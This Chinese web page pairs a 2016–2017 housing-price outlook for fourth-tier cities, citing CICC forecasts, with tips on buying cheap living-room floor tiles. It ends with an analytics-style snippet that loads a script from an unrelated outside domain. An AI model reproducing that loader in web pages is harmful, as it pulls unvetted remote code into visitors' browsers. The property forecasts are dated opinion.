2016四线城市房价走势

未来一年的房地产行业的走势依旧是让人牵肠挂肚，2016年已经到来，一二线城市的房价依旧高高在上，那么三四线城市尤其是四线城市房价走势将会如何呢?说起来2016年的房价，我们在展望未来的时候，难免也要回望过去，自从在刚刚过去的2015年中，新政策刚刚下来以后，二手房交易营业税还有二套房信贷的政策出现了变动以后，房地产市场在这样不断的释放之下得到了一定的回缓。2016年刚刚来临，房地产的成交量已经非常火爆，但是即使是这样，房地产的库存量还是非常大的，但是在四线城市来说，消费需求依然不能够满足四线城市的房地产市场。目前来说，四线城市的楼价还一直处于阴霾时期，但是未来的一年时间里面，四线城市的房价走势如何呢?2016年四线城市房价趋势之一：目前我国的二手房交易营业税手的年限得到了改动，从原来的五年变成了现在的两年，虽然已经放款了政策，但是对于购房者来说，四线城市的税费依旧让人感觉负担较重，目前为了能够去库存，降低消费者的基本购房成本成功购房，在未来的一年中，房地产个税和营业税方面，还是有希望在下降一些的。2016年四线城市房价趋势之二：从过去几年中的表现看，因为四线城市的流入人口有了明显的减少，而且土地财政方面的原因等关系，四线城市中有了很多的空房，也就是面临着库存压力大的压力，所以对于四线城市来说，进一步降价是2016年开发商所需要走的必经之路。而且从城市建设方面来说，解决了四线城市的房地产库存压力也就解决了一个非常主要的问题，但是想要解决库存压力还是要从农村人口进程购房来入手，为了能够让人人都在城里买上房子，所以在2016年中，四线城市的房价还是会持续低迷。2017年房价走势预测：房价不会跌!三四线城市或好转一、2017年房价不会下跌，新房销售额有望再次超市场预期。  虽然在行政措施干预下，2016年四季度和2017年一季度新房销售均价表现将持平。但是据中金公司证券研究分析，在三大推动因素作用下，2017上半年房价将会维持平稳，下半年将重回上升趋势。而且新房销售额将会集中在下半年增长，有望再次超市场预期。  而主要推动房价上涨的三大因素为：  1、开发商资金充裕。2016年预计有5.5万亿元的外部资金流入地产市场，在这5.5万亿元的外部资金中，来自银行理财产品的资金在今年大幅增长，全年预计贡献4万亿(占比超70%)，成为开发商外部资金的重要来源，为开发商拿地等活动提供充裕的资金。此外，中金公司证券研究预计2016年土地出让金总额约为4万亿元，开发商在手资金绰绰有余。 2、高地价激发开发商提价意愿。2016年末，广州、深圳等城市卖出一批高价土地，出于对利润率的保护，2016年昂贵的土地成本和显著的溢价将激发开发商的提价意愿。 3、一线城市与核心二线城市短期内供应缺口难以得到根本解决。虽然一、二线城市供不应求的情况在一定程度上得到改善，但难以彻底解决，因此房价继续上涨的压力仍然存在。 二、城市供需关系得到改善，但不会发生根本扭转。  结合中央政府“因城施策”的框架，中金公司研究分析了中国277个地级市在2016~2020年间的供需状况。据报告分析，2017年城市层面的供求关系短期内会得到一定程度的改善，但不会彻底扭转。也就是说，2016年年底政策收紧的热点城市，其城市供应缺口将持续存在，而三四线城市供应过剩的问题难以根本解决，尤其是西北和东北地区。因此，随着调控政策的效果减弱，一、二线城市预计将在2017下半年反超三、四线城市。三、房贷边际收窄不会对房地产市场带来实质性影响。  根据中金公司研究预测，2017年新增住房贷款总额将达到5.5万亿元(同比下降15%)，  在此支撑下的全国新房销售额将达到9.4万亿元(同比增长4%)，这个情况好于目前市场预期。  以预测的市场情况5.5万亿新增住房贷款总额和9.4万亿新房销售额为基本情景假设：2017年全国新增贷款(净额)为13.8万亿，与2016年的12.1万亿(预计)和2015年的11.7万亿(实际)相比稳步增长。  此外，中金公司还对乐观和悲观情景进行了模拟：  乐观情景：新增住房贷款总额7.3万亿，新房销售额12.6万亿。新增住房贷款(净额)占全国新增贷款(净额)的40%，比率与2016年一样。  悲观情景：新增住房贷款总额4.1万亿，新房销售额7.1万亿。新增住房贷款(净额)占全国新增贷款(净额)的18%，比率与2010年(政策收紧时期)相同。因此，房贷的边际收窄不会对房地产市场带来实质性的影响。四、短期内将不会有显著的政策调整。  从中金公司研究数据可以得知，短期内政策调控措施进一步升级的可能性很低。2016年的政策调控目的在于“控一线、稳二线”，只有在现有措施效果不及预期的情况下才会有进一步政策出台，目前来看可能性不大。目前总的来说，四线城市主要面临的问题就是库存压力大的问题，这个问题也导致了四线城市的土地供应量缩减，所以在这样的情况下，一些更有实力的企业会更加看好一二线城市的发展，这样一来，四线城市的住宅用地成交量也会在低位持续运行，所以宏观方面来说，在2016年中，四线城市房价还会保持在一个低谷的状态。

从何处考虑客厅地砖装饰哪个便宜呢

客厅，作为房子的门面。就连客厅的地砖都反映着主人的品味。客厅是人员活动密集的场所，在家庭装修中客厅装饰是重中之重。那在客厅装修的过程中，如何选择地砖就是头等大事了，地砖装饰哪个便宜呢？总的来说，要想知道地砖装饰哪个便宜，看看下面这四点你考虑到了没，选用抛光砖、同等级建材选便宜不选贵、选小砖、破损砖选地铺。一、选用抛光砖客厅最常用的是抛光砖、亚光砖。从客厅的用途和使用频率来考虑，在地砖的选择上抛光砖是个不错的选择。抛光砖表面光洁，硬度和耐磨度也很高，适合大多数空间使用，尤其是客厅。现如今的工艺水平，利用渗花技术，抛光砖可以做出各种人们更为喜爱的仿石、仿木效果，价格适中，美观的同时也解决了选地砖哪个便宜的的大问题。二、同材质同等级地砖谁便宜选谁在选购地砖时，往往需要考虑它的材质和等级。但即便是同种材质相同等级的地砖，价格上的差异相当大。差异的原因只不过是品牌或国产与进口的因素。当我们要考虑地砖装饰哪个便宜时，就要认识到，进口的贵价砖更需要考究，贵却不一定好。在材质和等级一致的情况下，考虑国产熟悉的品牌地砖往往更物美价廉。三、小块省砖大块费砖秉持地砖装饰哪个便宜的态度，在挑选地砖的时候要明确一个思想，可以选小砖就不要选大砖。一般小户型客厅地面贴砖的面积都不会太大，既然要考虑地砖装饰哪个便宜，你想想，大块的地砖，中间的位置没问题，但是到了边角位置时，多多少少都需要将地砖进行切割，这样一来一整块大砖就只利用了一小部分，白白浪费一部分。但是如果地砖是小尺寸的，切割的可能性就大大降低了，从而减少浪费。这样一比较，地砖装饰哪个便宜就一目了然了！四、破损地砖再利用地砖在搬运过程中不可避免的会有少部分损坏，地砖送到后经过检查，找出有边边角角破损或者表面刮花的地砖，这样的地砖大可好好正常使用。虽然不能在客厅中使用，但在厨房和卫生间里铺设完全完全不受影响。在橱柜或浴室柜的底下铺上不太美观的地砖，即不浪费又保持美观。轻微破损的地砖丢弃和再利用，在地砖装饰哪个便宜省钱？了解了这四个方面，客厅地砖装饰哪个便宜的技能你学会了吧！对于新房的装修，尤其是客厅，在追求美观与舒适的同时，也想方设法做到节约装修开支，何乐而不为呢！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();